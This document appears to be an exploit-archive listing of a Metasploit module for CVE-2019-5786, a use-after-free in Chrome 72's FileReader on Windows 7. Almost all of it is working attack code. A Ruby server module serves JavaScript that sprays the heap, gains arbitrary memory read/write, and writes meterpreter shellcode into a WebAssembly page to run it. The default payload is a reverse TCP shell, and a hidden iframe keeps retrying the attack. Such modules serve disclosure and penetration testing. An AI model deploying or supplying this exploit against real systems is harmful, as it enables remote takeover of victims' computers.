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Chrome 72.0.3626.119 FileReader Use-After-Free

Chrome 72.0.3626.119 FileReader Use-After-Free
Posted May 8, 2019
Authored by Clement LECIGNE, timwr, Istvan Kurucsai | Site metasploit.com

This exploit takes advantage of a use after free vulnerability in Google Chrome 72.0.3626.119 running on Windows 7 x86. The FileReader.readAsArrayBuffer function can return multiple references to the same ArrayBuffer object, which can be freed and overwritten with sprayed objects. The dangling ArrayBuffer reference can be used to access the sprayed objects, allowing arbitrary memory access from Javascript. This is used to write and execute shellcode in a WebAssembly object. The shellcode is executed within the Chrome sandbox, so you must explicitly disable the sandbox for the payload to be successful.

tags | exploit, arbitrary, x86, javascript, shellcode
systems | windows, 7
advisories | CVE-2019-5786
MD5 | 1845174659a656cb293c5dd2f17fe75c

Chrome 72.0.3626.119 FileReader Use-After-Free

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Chrome 72.0.3626.119 FileReader UaF exploit for Windows 7 x86',
'Description' => %q{
This exploit takes advantage of a use after free vulnerability in Google
Chrome 72.0.3626.119 running on Windows 7 x86.
The FileReader.readAsArrayBuffer function can return multiple references to the
same ArrayBuffer object, which can be freed and overwritten with sprayed objects.
The dangling ArrayBuffer reference can be used to access the sprayed objects,
allowing arbitrary memory access from Javascript. This is used to write and
execute shellcode in a WebAssembly object.
The shellcode is executed within the Chrome sandbox, so you must explicitly
disable the sandbox for the payload to be successful.
},
'License' => MSF_LICENSE,
'Author' => [
'Clement Lecigne', # discovery
'István Kurucsai', # Exodus Intel
'timwr', # metasploit module
],
'References' => [
['CVE', '2019-5786'],
['URL', 'https://github.com/exodusintel/CVE-2019-5786'],
['URL', 'https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/'],
['URL', 'https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analysis-of-a-chrome-zero-day-cve-2019-5786/'],
['URL', 'https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html'],
],
'Arch' => [ ARCH_X86 ],
'Platform' => 'windows',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
'Targets' => [ [ 'Automatic', { } ] ],
'DisclosureDate' => 'Mar 21 2019'))
end

def on_request_uri(cli, request)
print_status("Sending #{request.uri}")
if request.uri =~ %r{/exploit.html$}
html = %Q^
<html>
<head>
<script>
let myWorker = new Worker('worker.js');
let reader = null;
spray = null; // nested arrays used to hold the sprayed heap contents
let onprogress_cnt = 0; // number of times onprogress was called in a round
let try_cnt = 0; // number of rounds we tried
let last = 0, lastlast = 0; // last two AB results from the read
let tarray = 0; // TypedArray constructed from the dangling ArrayBuffer
const string_size = 128 * 1024 * 1024;
let contents = String.prototype.repeat.call('Z', string_size);
let f = new File([contents], "text.txt");
const marker1 = 0x36313233;
const marker2 = 0x37414546;

const outers = 256;
const inners = 1024;

function allocate_spray_holders() {
spray = new Array(outers);
for (let i = 0; i < outers; i++) {
spray[i] = new Array(inners);
}
}

function clear_spray() {
for (let i = 0; i < outers; i++) {
for (let j = 0; j < inners; j++) {
spray[i][j] = null;
}
}
}

function reclaim_mixed() {
// spray the heap to reclaim the freed region
let tmp = {};
for (let i = 0; i < outers; i++) {
for (let j = 0; j + 2 < inners; j+=3) {
spray[i][j] = {a: marker1, b: marker2, c: tmp};
spray[i][j].c = spray[i][j] // self-reference to find our absolute address
spray[i][j+1] = new Array(8);
spray[i][j+2] = new Uint32Array(32);
}
}
}

function find_pattern() {
const start_offset = 0x00afc000 / 4;
for (let i = start_offset; i + 1 < string_size / 4; i++) {
if (i < 50){
console.log(tarray[i].toString(16));
}
// multiply by two because of the way SMIs are stored
if (tarray[i] == marker1 * 2) {
if (tarray[i+1] == marker2 * 2) {
console.log(`found possible candidate objectat idx ${i}`);
return i;
}
}
}
return null;
}


function get_obj_idx(prop_idx) {
// find the index of the Object in the spray array
tarray[prop_idx] = 0x62626262;
for (let i = 0; i < outers; i++) {
for (let j = 0; j < inners; j+=1) {
try {
if (spray[i][j].a == 0x31313131) {
console.log(`found object idx in the spray array: ${i} ${j}`);
return spray[i][j];
}
} catch (e) {}
}
}
}

function ta_read(addr) {
// reads an absolute address through the original freed region
// only works for ta_absolute_addr + string_size (128MiB)
if (addr > ta_absolute_addr && addr < ta_absolute_addr + string_size) {
return tarray[(addr-ta_absolute_addr)/4];
}

return 0;
}

function ta_write(addr, value) {
// wrtie to an absolute address through the original freed region
// only works for ta_absolute_addr + string_size (128MiB)
if (addr % 4 || value > 2**32 - 1 ||
addr < ta_absolute_addr ||
addr > ta_absolute_addr + string_size) {
console.log(`invalid args passed to ta_write(${addr.toString(16)}, ${value}`);
}
tarray[(addr-ta_absolute_addr)/4] = value;
}

function get_corruptable_ui32a() {
// finds a sprayed Uint32Array, the elements pointer of which also falls into the controlled region
for (let i = 0; i < outers; i++) {
for (let j = 0; j + 2 < inners; j+=3) {
let ui32a_addr = addrof(spray[i][j+2]) - 1;
let bs_addr = ta_read(ui32a_addr + 12) - 1;
let elements_addr = ta_read(ui32a_addr + 8) - 1;
// read its elements pointer
// if the elements ptr lies inside the region we have access to
if (bs_addr >= ta_absolute_addr && bs_addr < ta_absolute_addr + string_size &&
elements_addr >= ta_absolute_addr && elements_addr < ta_absolute_addr + string_size) {
console.log(`found corruptable Uint32Array->elements at ${bs_addr.toString(16)}, on Uint32Array idx ${i} ${j}`);
return {
bs_addr: bs_addr,
elements_addr: elements_addr,
ui32: spray[i][j+2],
i: i, j: j
}
}
}
}
}

var reader_obj = null;
var object_prop_taidx = null;
var ta_absolute_addr = null;
var aarw_ui32 = null;

function addrof(leaked_obj) {
reader_obj.a = leaked_obj;
return tarray[object_prop_taidx];
}


function read4(addr) {
// save the old values
let tmp1 = ta_read(aarw_ui32.elements_addr + 12);
let tmp2 = ta_read(aarw_ui32.bs_addr + 16);

// rewrite the backing store ptr
ta_write(aarw_ui32.elements_addr + 12, addr);
ta_write(aarw_ui32.bs_addr + 16, addr);

let val = aarw_ui32.ui32[0];

ta_write(aarw_ui32.elements_addr + 12, tmp1);
ta_write(aarw_ui32.bs_addr + 16, tmp2);

return val;
}

function write4(addr, val) {
// save the old values
let tmp1 = ta_read(aarw_ui32.elements_addr + 12);
let tmp2 = ta_read(aarw_ui32.bs_addr + 16);

// rewrite the backing store ptr
ta_write(aarw_ui32.elements_addr + 12, addr);
ta_write(aarw_ui32.bs_addr + 16, addr);

aarw_ui32.ui32[0] = val;

ta_write(aarw_ui32.elements_addr + 12, tmp1);
ta_write(aarw_ui32.bs_addr + 16, tmp2);
}

function get_rw() {
// free up as much memory as possible
// spray = null;
// contents = null;
force_gc();

// attepmt reclaiming the memory pointed to by dangling pointer
reclaim_mixed();

// access the reclaimed region as a Uint32Array
tarray = new Uint32Array(lastlast);
object_prop_taidx = find_pattern();
if (object_prop_taidx === null) {
console.log('ERROR> failed to find marker');
window.top.postMessage(`ERROR> failed to find marker`, '*');
return;
}

// leak the absolute address of the Object
const obj_absolute_addr = tarray[object_prop_taidx + 2] - 1; // the third property of the sprayed Object is self-referential
ta_absolute_addr = obj_absolute_addr - (object_prop_taidx-3)*4
console.log(`leaked absolute address of our object ${obj_absolute_addr.toString(16)}`);
console.log(`leaked absolute address of ta ${ta_absolute_addr.toString(16)}`);

reader_obj = get_obj_idx(object_prop_taidx);
if (reader_obj == undefined) {
console.log(`ERROR> failed to find object`);
window.top.postMessage(`ERROR> failed to find object`, '*');
return;
}
// now reader_obj is a reference to the Object, object_prop_taidx is the index of its first inline property from the beginning of tarray

console.log(`addrof(reader_obj) == ${addrof(reader_obj)}`);
aarw_ui32 = get_corruptable_ui32a();
// arbitrary read write up after this point
}

var wfunc = null;
let meterpreter = unescape("#{Rex::Text.to_unescape(payload.encoded)}");

function rce() {
function get_wasm_func() {
var importObject = {
imports: { imported_func: arg => console.log(arg) }
};
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
wasm_code = new Uint8Array(bc);
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
return wasm_mod.exports.exported_func;
}

let wasm_func = get_wasm_func();
wfunc = wasm_func;
// traverse the JSFunction object chain to find the RWX WebAssembly code page
let wasm_func_addr = addrof(wasm_func) - 1;
let sfi = read4(wasm_func_addr + 12) - 1;
let WasmExportedFunctionData = read4(sfi + 4) - 1;
let instance = read4(WasmExportedFunctionData + 8) - 1;
let rwx_addr = read4(instance + 0x74);

// write the shellcode to the RWX page
if (meterpreter.length % 2 != 0)
meterpreter += "\\u9090";

for (let i = 0; i < meterpreter.length; i += 2) {
write4(rwx_addr + i*2, meterpreter.charCodeAt(i) + meterpreter.charCodeAt(i + 1) * 0x10000);
}

// if we got to this point, the exploit was successful
window.top.postMessage('SUCCESS', '*');
console.log('success');
wfunc();

// invoke the shellcode
//window.setTimeout(wfunc, 1000);
}

function force_gc() {
// forces a garbage collection to avoid OOM kills
try {
var failure = new WebAssembly.Memory({initial: 32767});
} catch(e) {
// console.log(e.message);
}
}

function init() {
abs = [];
tarray = 0;
onprogress_cnt = 0;
try_cnt = 0;
last = 0, lastlast = 0;
reader = new FileReader();

reader.onloadend = function(evt) {
try_cnt += 1;
failure = false;
if (onprogress_cnt < 2) {
console.log(`less than 2 onprogress events triggered: ${onprogress_cnt}, try again`);
failure = true;
}

if (lastlast.byteLength != f.size) {
console.log(`lastlast has a different size than expected: ${lastlast.byteLength}`);
failure = true;
}

if (failure === true) {
console.log('retrying in 1 second');
window.setTimeout(exploit, 1);
return;
}

console.log(`onloadend attempt ${try_cnt} after ${onprogress_cnt} onprogress callbacks`);
try {
// trigger the FREE
myWorker.postMessage([last], [last, lastlast]);
} catch(e) {
// an exception with this message indicates that the FREE part of the exploit was successful
if (e.message.includes('ArrayBuffer at index 1 could not be transferred')) {
get_rw();
rce();
return;
} else {
console.log(e.message);
}
}
}
reader.onprogress = function(evt) {
force_gc();
let res = evt.target.result;
// console.log(`onprogress ${onprogress_cnt}`);
onprogress_cnt += 1;
if (res.byteLength != f.size) {
// console.log(`result has a different size than expected: ${res.byteLength}`);
return;
}
lastlast = last;
last = res;
}
if (spray === null) {
// allocate the spray holders if needed
allocate_spray_holders();
}

// clear the spray holder arrays
clear_spray();

// get rid of the reserved ArrayBuffer range, as it may interfere with the exploit
try {
let failure = new ArrayBuffer(1024 * 1024 * 1024);
} catch (e) {
console.log(e.message);
}

force_gc();
}

function exploit() {
init();
reader.readAsArrayBuffer(f);
console.log(`attempt ${try_cnt} started`);
}
</script>
</head>
<body onload="exploit()">
</body>
</html>
^
send_response(cli, html)
elsif request.uri =~ %r{/worker.js$}
send_response(cli, 'onmessage = function (msg) { }')
else
uripath = datastore['URIPATH'] || get_resource
uripath += '/' unless uripath.end_with? '/'
html = %Q^
<html>
<head>
<script>
function iter() {
let iframe = null;
try {
iframe = document.getElementById('myframe');
document.body.removeChild(iframe);
} catch (e) {}

iframe = document.createElement('iframe');
iframe.src = '#{uripath}exploit.html';
iframe.id = 'myframe';
iframe.style = "width:0; height:0; border:0; border:none; visibility=hidden"
document.body.appendChild(iframe);
console.log(document.getElementById('myframe'));
}

function brute() {
window.setTimeout(iter, 1000);
let interval = window.setInterval(iter, 15000);

window.onmessage = function(e) {
if (e.data.includes('SUCCESS')) {
console.log('exploit successful!');
window.clearInterval(interval);
}
console.log(e);
}
}
</script>
</head>
<body onload="brute()"></body>
</html>
^
send_response(cli, html)
end
end

end
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